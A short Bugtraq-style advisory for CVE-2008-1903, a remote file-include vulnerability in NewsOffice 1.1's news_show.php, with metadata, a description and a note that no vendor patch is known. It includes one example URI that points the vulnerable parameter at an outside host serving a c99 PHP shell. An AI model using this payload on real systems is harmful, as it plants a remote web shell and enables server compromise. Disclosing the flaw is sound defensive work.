NewsOffice 'news_show.php' Remote File Include Vulnerability

Bugtraq ID:	28748
Class:	Input Validation Error
CVE:	CVE-2008-1903
Remote:	Yes
Local:	No
Published:	Apr 11 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	RoMaNcYxHaCkEr
Vulnerable:	Newanz NewsOffice 1.1
Not Vulnerable:

NewsOffice 'news_show.php' Remote File Include Vulnerability

NewsOffice is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NewsOffice 1.1 is vulnerable; other versions may also be affected.

NewsOffice 'news_show.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/NewsOffice/news_show.php?newsoffice_directory=http://www.example2.com/shells/c99in.txt

NewsOffice 'news_show.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

NewsOffice 'news_show.php' Remote File Include Vulnerability

References:

• NewsOffice Homepage (Newanz)